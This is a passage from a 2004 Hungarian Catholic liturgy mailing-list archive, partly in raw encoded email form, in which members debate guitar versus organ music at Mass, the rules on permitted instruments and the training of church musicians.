v=E9gre felsorolni, k=F6sz=F6net = =E9rte) =E9s megannyi k=F6nyvet felrakhatjuk a polcra, mert mindig van = pl=E9b=E1nos =E9s k=E1pl=E1n atya, aki nem az Egyh=E1z liturgikus = t=F6rv=E9nyei szerint mis=E9zik, hanem "szerintem". Most j=F6n majd a = Szent H=E1rom Nap, n=E9zz=E9tek meg, hogy mit fognak huzagolni, = r=F6vid=EDteni az aty=E1k. (Pap vagyok, mondhatom.) Mi=E9rt volt nagy hat=E1s=FA a Cecili=E1nus Mozgalom, Harmath=E9k = munk=E1ja? Mert "akkor" az a vil=E1g volt, hogy a betartott = t=F6rv=E9nyek objekt=EDv talajul szolg=E1ltak mindef=E9le m=FBv=E9szi, = sz=EDnvonalas elm=E9ly=FCl=E9snek, reformnak. Mindez most lend=FClet=E9t = veszteni l=E1tszik a pap, k=E1ntor "szerintem" hozz=E1=E1ll=E1s=E1val. = Nem azt mondom, hogy ne gondolkodjunk, de felh=EDvom a figyelmet az = objektivit=E1s hi=E1ny=E1ra. Subject=EDve ennek a vit=E1nak soha nem = lesz v=E9ge, mert =EDzl=E9sekr=F5l, sz=E9p =E9rz=E9sr=F5l nem lehet = vitatkozni. Itt pedig nagyon =FAgy n=E9z ki, az =E9rvek ebben mer=FClnek = ki.=20 3. Objektivit=E1s: vajon nem objekt=EDv-e, a klasszikus = meghat=E1roz=E1s: az egyh=E1zi zene szent, egyetemes =E9s m=FBv=E9szi? = Nagy h=E1tr=E1nnyal k=FCszk=F6d=FCnk ezen a t=E9ren, =E9s most nemcsak a = vil=E1gt=F3l eltanult subjektivit=E1sra gondolok. N=E9zz=E9tek meg = ak=E1r a n=E9p=E9nekes, ak=E1r git=E1ros kompoz=EDci=F3kat! Egy darab = kompon=E1l=E1s=E1hoz zenszerz=F5re =E9s nem ak=E1rmilyen zene=E9rt=F5re = van sz=FCks=E9g. Sajnos az egyh=E1zi c=E9l=FA zenealkot=E1s = gyakorlatilag leszakadt, elszigetel=F5d=F6tt az =E1ltal=E1nos = zene=E9lett=F5l, s a "zene=E9rt=F5k" k=F6r=E9ben - akik gyakran papok - = mintha t=F6k=E9letesen elt=FCnt volna minden objekt=EDv krit=E9rium arra = n=E9zva, mi tarthat=F3 zenem=FBnek, =E9s mi nem: =F6nmagunk m=E9rc=E9i = =E9s meg=EDt=E9l=F5i lett=FCnk. Ennek a k=F6vetkezm=E9nye az olyan = f=E1jdalmas n=EDv=F3-cs=F6kken=E9s Eur=F3pa-szerte.=20 Satya mondja, hogy a kisgyerek sz=EDvesebben =E9nekli a ne f=E9lj, mert = megv=E1ltottalak c. =E9neket, mint a boruljunk le =E9s rettegve-t. A = kisgyerek, tekintve, hogy nem =E9rti a sz=F6veget, szerintem ugyanolyan = sz=EDvesen =E9nekli mind a kett=F5t. De azt hiszem itt err=F5l van = sz=F3: olyan m=F3don felsz=EDnesek vagyunk m=E1r, hogy a n=E9p=E9nekek = sz=F6vegeit nem gondoljuk =E1t, f=E1raszt=F3 ut=E1nnagondolni. Persze, = hogy jobb a g=FCgy=F6g=E9s, meg a J=E9zus, J=E9zus hallel=FAja (bocs, = nagyb=F5jt van). =C9s ez csak a sz=F6veg, de a dallam, Uraim =E9s = H=F6lgyeim, a dallam! T=E9nyleg minden j=F3? Hol vagyunk m=E1r Kod=E1ly = vil=E1g=E1t=F3l, aki a k=F6vetkez=F5 szavakkal utas=EDtotta el a = kompon=E1l=F3 =F3v=F3n=F5 f=E9rc munk=E1j=E1t: "A Vil=E1g=E9rt se = sz=F3ln=E9k egy rossz sz=F3t =F3v=F3n=F5ink ellen. Ismerem =E9s = nagyra=E9rt=E9kelem h=F5sies munk=E1jukat. De fel kell vil=E1gos=EDtani = =F5ket arr=F3l is, hogy nem szabad a kicsinyek lelk=E9ben zenei gyomot = =FCltetni..." =C9s a h=EDvek lelk=E9ben szabad, puszt=E1n az=E9rt mert a = t=E1ncdal akkordok miatt bej=F6nnek a templomba? (biztos, hogy csak = amiatt j=F6nnek be a fiatalok? Bocs=E1nat, de =FAgy l=E1tom, hogy a mai = techno nemzed=E9k ink=E1bb vonz=F3dik a lesz=F3lt n=E9p=E9nek fel=E9, = mint a git=E1ros =E9nek fel=E9, amin a sz=FClei nosztalgi=E1znak.) T=F6bb objektivit=E1st - m=E9gha az el=F5bb, eln=E9z=E9s=E9t k=E9rem a = git=E1rosoknak, subject=EDv is voltam. Egyh=E1zi zen=E9nek nevezhet=F5k = azok a m=FBalkot=E1sok, amelyek a vall=E1sos t=E9m=E1t kifejezve a = tiszta zenem=FBv=E9szet jegyeit hordozz=E1k, amellett figyelemmel vannak = az egyh=E1zias szellemre, s arra, hogy a m=FBv=FCk a templom saj=E1tos = l=E9gk=F6r=E9ben is megfelel=F5 benyom=E1st keltsen a hallgat=F3kban. = tov=E1bb menve: azt nevezhetj=FCk liturgikus m=FBnek, amelyek m=E1r nem = a szerz=F5 egy=E9ni vall=E1sos tapasztal=E1saib=F3l, hanem az Egyh=E1z = liturgiai mondanival=F3j=E1b=F3l indulnak ki, s amelynek igazi = =E9nekl=F5 alanya enn=E9lfogva nem a zeneszerz=F5, vagy az el=F5ad=F3, = hanem az Egyh=E1z, s=F5t maga a liturgi=E1t =E1ltalunk v=E9gz=F5 = Krisztus. (A git=E1ros =E9nek jelen form=E1j=E1ban ink=E1bb egyh=E1zi, = mint liturgikus. Jobb=EDtsuk, ha tudjuk - a MALEZI mi=E9rt ne vehetn=E9 = k=E9zbe az =FCgyet - p=E1ly=E1zat ki=EDr=E1sa stb.) A liturgikus =E9nek ez=E9rt hangv=E9tel=E9ben objektivit=E1sra =E9s = egyetemess=E9gre t=F6rekszik. Alkalmazkodik a liturgikus mozzanathoz, = amit k=EDs=E9r, nem =F6nmag=E1=E9rt =E9s a jobb kedvem=E9rt van. = M=FBv=E9szileg pedig hib=E1tlan =E1ldozati t=E1rgynak kellene lennie. Z=E1rsz=F3: a mostan=E1ban =E9nekelt n=E9p=E9nek akkoriban ugyanolyan = t=E1mad=E1sokat kapott, mint a git=E1ros =E9nek. Olvastam egy = hozz=E1sz=F3l=E1st korabeli =FAjs=E1gban, ahol a Tisztelend=F5 Atya = =FAgy egyh=E1ziasan elk=FCldte Harmath Art=FAr=E9kat a Hozsann=E1jukkal = egy=FCtt... Mert a n=E9p - mondta =F5 - jobban szereti a NAgyasszonyunk = Haz=E1nk rem=E9ny=E9t, mint azt, amit most a nyakunkba akarnak = =FCltetni. Eltelt f=E9lsz=E1z =E9v: a Hozsanna - boruljunk le =E9s = rettegve ide vagy oda - ki=E1llta a pr=F3b=E1t. Mert objektiv: = egyetemes, m=FBv=E9szi =E9s szent kompoz=EDci=F3k voltak. S=F5t = liturgikusak! Rem=E9lem =F6tven =E9v m=FAlva ugyanezt elmondhatjuk majd = a git=E1ros =E9nekekr=F5l! Salamon L=E1szl=F3 Szeged ------=_NextPart_000_0005_01C4069B.9310B620 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Kedves =E9s Tisztelt = Mindenki!
 
Olvasva a hozz=E1sz=F3l=E1sokat, = reakci=F3kat, szeretn=E9k =E9n=20 is n=E9h=E1ny dolgot megfogalmazni: papk=E9nt, egyh=E1zzen=E9szk=E9nt, = papnevel=F5k=E9nt (r=EDtus=20 =E9s =E9nek tan=E1rk=E9nt):
 
1. Egy k=E9rd=E9s: =FAgy tudom, hogy a = MALEZI az ilyen=20 jelleg=FB k=E9rd=E9sek koordin=E1l=E1sak=E9nt, szakavatott, hivatalos = v=E9lem=E9ny-ad=F3k=E9nt j=F6tt=20 l=E9tre. Mi=E9rt nem halljuk, olvassuk =F5ket? Biztosan sok dolguk van, = de mikor=20 sz=F3ljanak hozz=E1, ha nem most?
 
2. Valaki k=E9rdezte, hogy mi=E9rt nem = cseleksz=FCnk=20 v=E9gre, illetve hozott egy hasonlatot a nagy egyh=E1zzen=E9szekr=F5l, = hogy bezzeg azok=20 kiadtak egy Cantus Cantorumot stb. A v=E1lasz ezekben a = hozz=E1sz=F3l=E1sokban is=20 keresend=F5: addig, am=EDg ilyen fontos, liturgikus k=E9rd=E9sekr=F5l = =FAgy gondolkodunk, =E9s=20 cseleksz=FCnk, hogy "szerintem" ez =EDgy j=F3, ez =FAgy j=F3, addig a = sok szab=E1lyt (h=E1l=20 Istennek valaki volt sz=EDves v=E9gre felsorolni, k=F6sz=F6net =E9rte) = =E9s megannyi k=F6nyvet=20 felrakhatjuk a polcra, mert mindig van pl=E9b=E1nos =E9s k=E1pl=E1n = atya, aki nem az=20 Egyh=E1z liturgikus t=F6rv=E9nyei szerint mis=E9zik, hanem "szerintem". = Most j=F6n majd a=20 Szent H=E1rom Nap, n=E9zz=E9tek meg, hogy mit fognak huzagolni, = r=F6vid=EDteni az aty=E1k.=20 (Pap vagyok, mondhatom.)
Mi=E9rt volt nagy hat=E1s=FA a = Cecili=E1nus Mozgalom,=20 Harmath=E9k munk=E1ja? Mert "akkor" az a vil=E1g volt, hogy a betartott = t=F6rv=E9nyek=20 objekt=EDv talajul szolg=E1ltak mindef=E9le m=FBv=E9szi, sz=EDnvonalas = elm=E9ly=FCl=E9snek,=20 reformnak. Mindez most lend=FClet=E9t veszteni l=E1tszik a pap, k=E1ntor = "szerintem"=20 hozz=E1=E1ll=E1s=E1val. Nem azt mondom, hogy ne gondolkodjunk, de = felh=EDvom a figyelmet=20 az objektivit=E1s hi=E1ny=E1ra. Subject=EDve ennek a vit=E1nak soha nem = lesz v=E9ge, mert=20 =EDzl=E9sekr=F5l, sz=E9p =E9rz=E9sr=F5l nem lehet vitatkozni. Itt pedig = nagyon =FAgy n=E9z ki, az=20 =E9rvek ebben mer=FClnek ki.
 
3. Objektivit=E1s: vajon nem = objekt=EDv-e, a klasszikus=20 meghat=E1roz=E1s: az egyh=E1zi zene szent, egyetemes =E9s m=FBv=E9szi? = Nagy h=E1tr=E1nnyal=20 k=FCszk=F6d=FCnk ezen a t=E9ren, =E9s most nemcsak a vil=E1gt=F3l = eltanult subjektivit=E1sra=20 gondolok. N=E9zz=E9tek meg ak=E1r a n=E9p=E9nekes, ak=E1r git=E1ros = kompoz=EDci=F3kat! Egy darab=20 kompon=E1l=E1s=E1hoz zenszerz=F5re =E9s nem ak=E1rmilyen zene=E9rt=F5re = van sz=FCks=E9g. Sajnos az=20 egyh=E1zi c=E9l=FA zenealkot=E1s gyakorlatilag leszakadt, = elszigetel=F5d=F6tt az =E1ltal=E1nos=20 zene=E9lett=F5l, s a "zene=E9rt=F5k" k=F6r=E9ben - akik gyakran papok - = mintha t=F6k=E9letesen=20 elt=FCnt volna minden objekt=EDv krit=E9rium arra n=E9zva, mi tarthat=F3 = zenem=FBnek, =E9s mi=20 nem: =F6nmagunk m=E9rc=E9i =E9s meg=EDt=E9l=F5i lett=FCnk. Ennek a = k=F6vetkezm=E9nye az olyan=20 f=E1jdalmas n=EDv=F3-cs=F6kken=E9s Eur=F3pa-szerte.
Satya mondja, hogy a kisgyerek = sz=EDvesebben =E9nekli a=20 ne f=E9lj, mert megv=E1ltottalak c. =E9neket, mint a boruljunk le =E9s = rettegve-t. A=20 kisgyerek, tekintve, hogy nem =E9rti a sz=F6veget, szerintem ugyanolyan = sz=EDvesen=20 =E9nekli mind a kett=F5t. De azt hiszem itt err=F5l van sz=F3: olyan = m=F3don felsz=EDnesek=20 vagyunk m=E1r, hogy a n=E9p=E9nekek sz=F6vegeit nem gondoljuk =E1t, = f=E1raszt=F3=20 ut=E1nnagondolni. Persze, hogy jobb a g=FCgy=F6g=E9s, meg a J=E9zus, = J=E9zus hallel=FAja=20 (bocs, nagyb=F5jt van). =C9s ez csak a sz=F6veg, de a dallam, Uraim =E9s = H=F6lgyeim, a=20 dallam! T=E9nyleg minden j=F3? Hol vagyunk m=E1r Kod=E1ly = vil=E1g=E1t=F3l, aki a k=F6vetkez=F5=20 szavakkal utas=EDtotta el a kompon=E1l=F3 =F3v=F3n=F5 f=E9rc = munk=E1j=E1t: "A Vil=E1g=E9rt se sz=F3ln=E9k=20 egy rossz sz=F3t =F3v=F3n=F5ink ellen. Ismerem =E9s nagyra=E9rt=E9kelem = h=F5sies munk=E1jukat. De=20 fel kell vil=E1gos=EDtani =F5ket arr=F3l is, hogy nem szabad a kicsinyek = lelk=E9ben zenei=20 gyomot =FCltetni..." =C9s a h=EDvek lelk=E9ben szabad, puszt=E1n az=E9rt = mert a t=E1ncdal=20 akkordok miatt bej=F6nnek a templomba? (biztos, hogy csak amiatt = j=F6nnek be a=20 fiatalok? Bocs=E1nat, de =FAgy l=E1tom, hogy a mai techno nemzed=E9k = ink=E1bb vonz=F3dik a=20 lesz=F3lt n=E9p=E9nek fel=E9, mint a git=E1ros =E9nek fel=E9, amin a = sz=FClei=20 nosztalgi=E1znak.)
T=F6bb objektivit=E1st - m=E9gha az = el=F5bb, eln=E9z=E9s=E9t=20 k=E9rem a git=E1rosoknak, subject=EDv is voltam. Egyh=E1zi zen=E9nek = nevezhet=F5k azok a=20 m=FBalkot=E1sok, amelyek a vall=E1sos t=E9m=E1t kifejezve a tiszta = zenem=FBv=E9szet jegyeit=20 hordozz=E1k, amellett figyelemmel vannak az egyh=E1zias szellemre, s = arra, hogy a=20 m=FBv=FCk a templom saj=E1tos l=E9gk=F6r=E9ben is megfelel=F5 = benyom=E1st keltsen a=20 hallgat=F3kban. tov=E1bb menve: azt nevezhetj=FCk liturgikus m=FBnek, = amelyek m=E1r nem a=20 szerz=F5 egy=E9ni vall=E1sos tapasztal=E1saib=F3l, hanem az Egyh=E1z = liturgiai=20 mondanival=F3j=E1b=F3l indulnak ki, s amelynek igazi =E9nekl=F5 alanya = enn=E9lfogva nem a=20 zeneszerz=F5, vagy az el=F5ad=F3, hanem az Egyh=E1z, s=F5t maga a = liturgi=E1t =E1ltalunk v=E9gz=F5=20 Krisztus. (A git=E1ros =E9nek jelen form=E1j=E1ban ink=E1bb egyh=E1zi, = mint liturgikus.=20 Jobb=EDtsuk, ha tudjuk - a MALEZI mi=E9rt ne vehetn=E9 k=E9zbe az = =FCgyet - p=E1ly=E1zat=20 ki=EDr=E1sa stb.)
A liturgikus =E9nek ez=E9rt = hangv=E9tel=E9ben=20 objektivit=E1sra =E9s egyetemess=E9gre t=F6rekszik. Alkalmazkodik a = liturgikus=20 mozzanathoz, amit k=EDs=E9r, nem =F6nmag=E1=E9rt =E9s a jobb kedvem=E9rt = van. M=FBv=E9szileg pedig=20 hib=E1tlan =E1ldozati t=E1rgynak kellene lennie.
 
Z=E1rsz=F3: a mostan=E1ban =E9nekelt = n=E9p=E9nek akkoriban=20 ugyanolyan t=E1mad=E1sokat kapott, mint a git=E1ros =E9nek. Olvastam egy = hozz=E1sz=F3l=E1st=20 korabeli =FAjs=E1gban, ahol a Tisztelend=F5 Atya =FAgy egyh=E1ziasan = elk=FCldte Harmath=20 Art=FAr=E9kat a Hozsann=E1jukkal egy=FCtt... Mert a n=E9p - mondta = =F5 - jobban szereti=20 a NAgyasszonyunk Haz=E1nk rem=E9ny=E9t, mint azt, amit most a nyakunkba = akarnak=20 =FCltetni. Eltelt f=E9lsz=E1z =E9v: a Hozsanna - boruljunk le =E9s = rettegve ide vagy oda -=20 ki=E1llta a pr=F3b=E1t. Mert objektiv: egyetemes, m=FBv=E9szi =E9s szent = kompoz=EDci=F3k voltak.=20 S=F5t liturgikusak! Rem=E9lem =F6tven =E9v m=FAlva ugyanezt elmondhatjuk = majd a git=E1ros=20 =E9nekekr=F5l!
Salamon L=E1szl=F3
Szeged 
------=_NextPart_000_0005_01C4069B.9310B620-- From arturdr@drotposta.hu Wed Mar 10 13:25:32 2004 From: arturdr@drotposta.hu (=?iso-8859-2?q?Dr=2E=20Farag=F3=20Art=FAr=20?=) Date: Wed, 10 Mar 2004 14:25:32 +0100 Subject: [Liturgia] =?iso-8859-2?q?Moszkv=E1ban=20osztogatnak?= Message-ID: Bocsánat! Nem a Satya volt (ő ennél sokkal komolyabb), hanem én, és nem a gyerekek gügyögik, hanem a nagy fiataljaink és a felnőttjeink éneklik. Bár szerintem a többi sem stimmel. :-) Üdv! Artúr From arturdr@drotposta.hu Wed Mar 10 18:41:01 2004 From: arturdr@drotposta.hu (=?iso-8859-2?q?Dr=2E=20Farag=F3=20Art=FAr=20?=) Date: Wed, 10 Mar 2004 19:41:01 +0100 Subject: [Liturgia] =?iso-8859-2?q?kedvenc=20=E9nekem?= Message-ID: Testvérek! Meg van valakinek "A fényes Isten arcot..." német szövege? És ha elküldené nekem magánúton.. Előre is köszönet! Artúr From arturdr@drotposta.hu Wed Mar 10 20:58:00 2004 From: arturdr@drotposta.hu (=?iso-8859-2?q?Dr=2E=20Farag=F3=20Art=FAr=20?=) Date: Wed, 10 Mar 2004 21:58:00 +0100 Subject: [Liturgia] kedvenc Message-ID: Testvérek! Tényleg ez a kedvencem. Mindenkinek köszönöm a segítségét. (A Gotteslobomat két éve ellopták.) Ma gyakorolta a kántorunk, és onnét jutott eszembe. Üdvözlet: Artúr From ibanez2@freemail.hu Wed Mar 10 22:06:07 2004 From: ibanez2@freemail.hu (=?ISO-8859-2?Q?G=F6r=F6g_Andrea?=) Date: Wed, 10 Mar 2004 23:06:07 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?git=E1r_=28=3F=29?= Message-ID: Kedves Testvérek! Én csak nemrég iratkoztam föl a listára, és érdeklődve figyelem az itt folyó beszélgetést. Mégis szívenütött mindjárt az első néhány levél. Azt kérdeztem magamtól: Akkor most mi, gitáros ifjúság takarodjunk a templomból? Valahogy nem tudom elképzelni, amint Jézus az ifjúsági (Uram bocsá' karizmatikus) mise közepén beállít a templomba, és kötelekből font ostorral kiűzi a zenészeket, mondván: "Ne tegyétek Atyám házát rockszínpaddá!" :-) Néhány dolgot szeretnék megemlíteni, mint gyakorló gitáros. Nagyon sok zenész társammal együtt szívesen vennénk, ha valaki végre egyértelmű, világos és követhető tanácsokat adna nekünk a liturgiával kapcsolatban. Rengetegen vagyunk, akik a minket bírálókhoz hasonlóan - ha nem náluk is jobban - frászt kapunk attól, ha valaki Agnus Dei-re azt énekli, hogy "Bárányom, bárányom, Istennek báránya...", ahogy a Sárga könyv javasolja. A "gitáros dalok" már önmagában egy túlhaladott, helytelen megnevezés. Elsősorban azért, mert bírálói rendszerint a Sillye Jenő + Sárga könyv dalaival azonosítják, tudomást sem véve a műfajban bekövetkezett változásokról. Nagyon sok (tényleg örvendetesen sok) tehetséges zenekar, kórus, közösség van, akik színvonalas, liturgiához hű és hitbeli tévedéseket nem tartalmazó dalokat írnak - esetenként olyanokat, amikben nyoma sincs a gitárnak, hanem mondjuk egyetlen szintetizátor kíséri, az orgonához hasonlóan. A másik baj az elnevezéssel, hogy hajlamosak vagyunk a tapsolós, táncolós stílussal azonosítani ezeket az énekeket. Múltkor megszámoltam, és én lepődtem meg legjobban, hogy még a Sárga könyvben is a csendesebb, imádó, csodáló, elmélkedő dalok vannak többségben, nem pedig a harsány ünneplők. A Steel Cross dalait senki nem akarja bevinni a misére (vagy ha mégis akad ilyen elvetemült, hát ki kell hajítani...). De nem hiszem, hogy a "keresztény könnyűzene" megfelelő formában is olyan profán lenne, hogy kitessékeljük, szemben a "szent" orgonával, ami a templomba kerülése előtt maga is világi hangszer volt. Az is érdekes egyébként, ha valahol a plébános buzdítja a kántort és a híveket, hogy énekeljenek taizé-i dalokat (persze orgonával), de lekiabálja a fiatalokat, ha ugyanezeket a dalokat gitárral akarják a templomban énekelni... Szóval nem rossz valami csak azért, mert "gitáros". Tisztelettel Görög Andi "szintén zenész" From magisterinfo@vnet.hu Thu Mar 11 17:14:17 2004 From: magisterinfo@vnet.hu (Madaras Attila) Date: Thu, 11 Mar 2004 18:14:17 +0100 Subject: [Liturgia] =?iso-8859-2?Q?megold=E1st_is_kell=28ene=29keresni?= Message-ID: <001c01c4078c$49a32120$0201a8c0@attila> This is a multi-part message in MIME format. --Boundary_(ID_lXn5yLmVi8iEHWmX5hoFJQ) Content-type: text/plain; charset=iso-8859-2 Content-transfer-encoding: quoted-printable Kedves Listatagok!=20 Nagyon sok =E9rv =E9s ellen=E9rv elhangzott m=E1r a git=E1ros, illetve = az orgon=E1s mis=E9k mellett =E9s ellen. V=E9lem=E9nyem szerint a = git=E1ros =E9nekek ma m=E1r nehezen sz=E1m=FBzhet=F5k, DE! arra = gondoltam, -b=E1r lehet, hogy furcs=E1nak t=FBnik els=F5 hall=E1sra-, = mi=E9rt ne lehetne a k=E1ntork=E9pz=F5 hasonlat=E1val =E9lve egy olyan = szervezett form=E1ban m=FBk=F6d=F5 tov=E1bbk=E9pz=E9st elind=EDtani, = amely arra ir=E1nyulna, hogy a jelenlegi, mis=E9n git=E1roz=F3, = ifj=FAs=E1gi =E9nekkart vezet=F5 embereket oktassa. Esetenk=E9nt nem = csak git=E1rtud=E1sukat lenne sz=FCks=E9ges fejleszteni, hanem = liturgikus, kateketikai ismereteiket elm=E9ly=EDteni. Vit=E1zni, gondolatokat cser=E9lni rendk=EDv=FCl hasznos tanuls=E1gos = =E9s sz=FCks=E9ges is err=F5l a t=E9m=E1r=F3l, de lehet-e d=FBl=F5re = jutni a tekintetben melyik az "=E9rt=E9kesebb?" Ahol megoldhat=F3, j=F3, = ha van git=E1ros (di=E1k?)mise, de biztos=EDtani kell az = alternat=EDv=E1t: akihez az orgon=E1s n=E9p=E9nekes mise =E1ll k=F6zel, = r=E9szt vehessen ilyenen.(tudom, ez n=E9hol nagyon neh=E9z, el=E9g ha = csak az egyre n=F6vekv=F5 paphi=E1nyra gondolunk)=20 =FCdv=F6zlettel: M. Er=F5s Krisztina --Boundary_(ID_lXn5yLmVi8iEHWmX5hoFJQ) Content-type: text/html; charset=iso-8859-2 Content-transfer-encoding: quoted-printable
Kedves Listatagok!
 
Nagyon sok =E9rv =E9s ellen=E9rv = elhangzott m=E1r a=20 git=E1ros, illetve az orgon=E1s mis=E9k mellett =E9s ellen. = V=E9lem=E9nyem szerint a git=E1ros=20 =E9nekek ma m=E1r nehezen sz=E1m=FBzhet=F5k, DE! arra gondoltam, = -b=E1r lehet, hogy=20 furcs=E1nak t=FBnik els=F5 hall=E1sra-, mi=E9rt ne lehetne a = k=E1ntork=E9pz=F5 hasonlat=E1val=20 =E9lve egy olyan szervezett form=E1ban m=FBk=F6d=F5 = tov=E1bbk=E9pz=E9st elind=EDtani, amely=20 arra ir=E1nyulna, hogy a jelenlegi, mis=E9n git=E1roz=F3, ifj=FAs=E1gi = =E9nekkart vezet=F5=20 embereket oktassa. Esetenk=E9nt nem csak git=E1rtud=E1sukat lenne = sz=FCks=E9ges=20 fejleszteni, hanem liturgikus, kateketikai ismereteiket=20 elm=E9ly=EDteni.
Vit=E1zni, gondolatokat cser=E9lni = rendk=EDv=FCl hasznos=20 tanuls=E1gos =E9s sz=FCks=E9ges is err=F5l a t=E9m=E1r=F3l, = de lehet-e d=FBl=F5re jutni a=20 tekintetben melyik az "=E9rt=E9kesebb?" Ahol megoldhat=F3, j=F3, ha = van=20 git=E1ros (di=E1k?)mise, de biztos=EDtani kell az alternat=EDv=E1t: = akihez az orgon=E1s=20 n=E9p=E9nekes mise =E1ll k=F6zel, r=E9szt vehessen ilyenen.(tudom, ez = n=E9hol nagyon neh=E9z,=20 el=E9g ha csak az egyre n=F6vekv=F5 paphi=E1nyra = gondolunk) 
=FCdv=F6zlettel:
M. Er=F5s = Krisztina
--Boundary_(ID_lXn5yLmVi8iEHWmX5hoFJQ)-- From kaposztassyb@freemail.hu Thu Mar 11 21:30:15 2004 From: kaposztassyb@freemail.hu (Kaposztassy Bela) Date: Thu, 11 Mar 2004 22:30:15 +0100 Subject: [Liturgia] kinek van meg? In-Reply-To: References: Message-ID: <49A2C0AB-73A3-11D8-9569-0003930D54C2@freemail.hu> El tudná-e nekem küldeni valaki magánban az ADORO TE, O PANIS CELICE kezdetű himnusz latin szövegét? Köszönettel! Káposztássy Béla From ibanez2@freemail.hu Thu Mar 11 20:09:32 2004 From: ibanez2@freemail.hu (=?ISO-8859-2?Q?G=F6r=F6g_Andrea?=) Date: Thu, 11 Mar 2004 21:09:32 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?Re=3A_=5BLiturgia=5D_megold=E1st_is_kell=28ene=29k?= =?ISO-8859-2?Q?eresni?= In-Reply-To: <001c01c4078c$49a32120$0201a8c0@attila> Message-ID: Szervezett formában működő továbbképzés? Milyen jó ötlet! Főleg, hogy máshol (protestáns testvéreinknél) már bevált. Ott van például az Uszódi Dicsőítő Napok, ahol zenészek, dicsőítésvezetők, lelkészek tartanak hangszertechnikai, énekes és hitbeli képzést a jelentkezőknek. Hasonlót csinál a Szeráf is. Biztosan nálunk is működne valami efféle. Görög Andi From rihmer@freemail.hu Fri Mar 12 11:57:07 2004 From: rihmer@freemail.hu (=?ISO-8859-2?Q?Rihmer_Zolt=E1n?=) Date: Fri, 12 Mar 2004 12:57:07 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?A_b=E1r=E1nyok_hallgatnak=3F?= Message-ID: Kedves listatagok! Az elmúlt hét levelezéséből az alábbi kérdésekhez szeretnék hosszabban-rövidebben hozzászólni: 1. A liturgiában előírt hangszerek Kosóczki Tamás: "Jól tudom, hogy a hivatalos egyházi előírás szerint az ún. "elektriumok" (digitális orgona) használata is tiltott a templomban? Érvényben van még ez a rendelkezés? (Kántorképzőn még úgy tanultam!)" Nagy Gábor Gabssy: "A érvényben lévő hivatalos egyházi rendelkezések között van-e olyan, mely explicit előírja, hogy a LITURGIÁBAN mely hangszer használható önálóan és/vagy az énekek kísérésére?" A hangszeres zene vonatkozásában mind a II. Vatikáni Zsinat liturgikus rendelkezései, mind a későbbi végrehajtási dokumentumok előírásai elsősorban arról szólnak, hogy mit tekint az Egyház különösen is a szent, liturgikus zene eszközének, így pl. név szerint említik az orgona kiemelkedő szerepét. Az orgonán kívüli egyéb, megfelelőnek ítélt hangszerek megválasztását az általam korábban idézett - valamint további - általános alapelvek határozzák meg, a konkrét döntés pedig az illetékes egyházi hatóságra (rendesen a püspöki konferenciára) van bízva. A tiltás rendkívül ritka: pl. a "Sacrosanctum Concilium" rendelkezést végrehajtó tanács elnöke, Giacomo Lercaro bíboros 1966 január 25-ei, "L'heureux développement" kezdetű levelében olvasható (5. p., Notitiae 2 [1966] 160), hogy a dzsessz zene manapság nem képezheti részét az istentiszteleten elhangzó zenei repertoárnak. A gépzenét az Egyház csak egészen kivételes esetben engedi meg, pl. a gyermekmisékről szóló "Pueros baptizatos" instrukció (1973 november 1.) 32. pontja szerint megfelelő biztosítékok mellett, valamint a kellő körültekintéssel és különös belátással a gyermekmisékben alkalmazható technikailag előállított zene, ám ezúttal is csak a püspöki konferenciák által alkotott szabályok szerint. Az illetékes kongregáció egy későbbi válasza (Notitiae 13 [1977] 94) hangsúlyozza: előre felvett zene gépi lejátszását már a XII. Pius utasítására kiadott 1958-as egyházzenei instrukció is csak tanulási célból vagy szabad ég alatti körmenetek kísérésére engedte meg, szent helyen azonban tiltotta, majd kijelenti: e szabályok azóta sem változtak meg. Egyetlen kivételként a gyermekmiséket jelöli meg, viszont utal rá, hogy az Olasz Püspöki Konferencia e körben is megtiltotta a kizárólag reproduktív technika alkalmazását. A valóság természetesen ezúttal is egészen másként fest. 2002 szeptemberében Madridban meglepve tapasztaltam, hogy vasárnap délelőtt egy belvárosi plébániatemplomban, a székesegyháztól alig öt percnyire magnóról szóló, előre rögzített gépzene kísérte a szentmisét. Pedig a madridi bíboros érsek elsőrangú kánonjogász - a mi prímásunk kollégája, barátja, sőt némely tekintetben példaképe. A példánál és a személynél maradva megjegyzem, hogy Erdő Péter bíboros úr holnap 16.00 órakor a Budavári Nagyboldogasszony Főplébániatemplomban a Nagy Szent Gergely-év hazai nyitóeseményeként gregorián főpapi szentmisét celebrál. Akit érdekel, korábban ugyanott gregorián szkólák bemutatkozását is meghallgathatja. 2. Liturgikus oktatás-nevelés Marian: "Örömmel énekelnék gregoriánt, és klasszikus polifónikus [...] énekeket - de nekem ezt sehol sem tanítják. Különösen nem úgy, hogy misén énekelhessem." Görög Andrea: "Nagyon sok zenész társammal együtt szívesen vennénk, ha valaki végre egyértelmű, világos és követhető tanácsokat adna nekünk a liturgiával kapcsolatban." Az e heti "Új ember" 4. oldalán olvasom: "A Magyar Egyházzenei Társaság továbbképzést szervez a nagyhét liturgiájának végzésére. Március 19-én 16 és 20 óra között virágvasárnap és nagycsütörtök, 20-án 10 és 17 óra között pedig nagypéntek és húsvét liturgiája lesz a téma. A továbbképzés helyszíne a budapesti piarista kápolna (V. ker. Pesti Barnabás u. 1.)." Egy másik felhívás ugyanerről az oldalról: "A zsámbéki Apor Vilmos Katolikus Főiskola egyházi újraalapításának tizedik évfordulója alkalmából országos orgonista-kántor találkozót rendez 2004. március 26-án és 27-én. A találkozó társszervezője a Magyar Liturgikus és Egyházzenei Intézet (MALEZI)." (További részletek a cikk folytatásában.) Bárcsak minél több ilyen hír lenne és minél többekhez eljutna! 3. A liturgia objektivitása Kovács Ervin: "súlyos szubjektivizmust vélek felfedezni, mely veszélyezteti a liturgia objektív jellegét. Hiszen a liturgia nem csak keret és alkalom, hanem eleve adott tartalom, mely nem a múlandó és változó dolgok kifejezésére hivatott, hanem az örök és változatlan isteni valóságok, hitigazságok kifejezésére és megjelenítésére, mégpedig azért, hogy hozzáalakíthassuk magunkat. Egy alapkérdésről van szó: mi csináljuk a liturgiát saját igényeink szerint, vagy engedjük, hogy a liturgia formáljon minket? Továbbmenve: mi alakítjuk a dogmatikai és erkölcsi igazságokat, vagy azok alakítanak minket?" Decsi Bálint: "Az, hogy a liturgia szövege a köznép számára érthetetlen nyelven szólal meg, szerintem 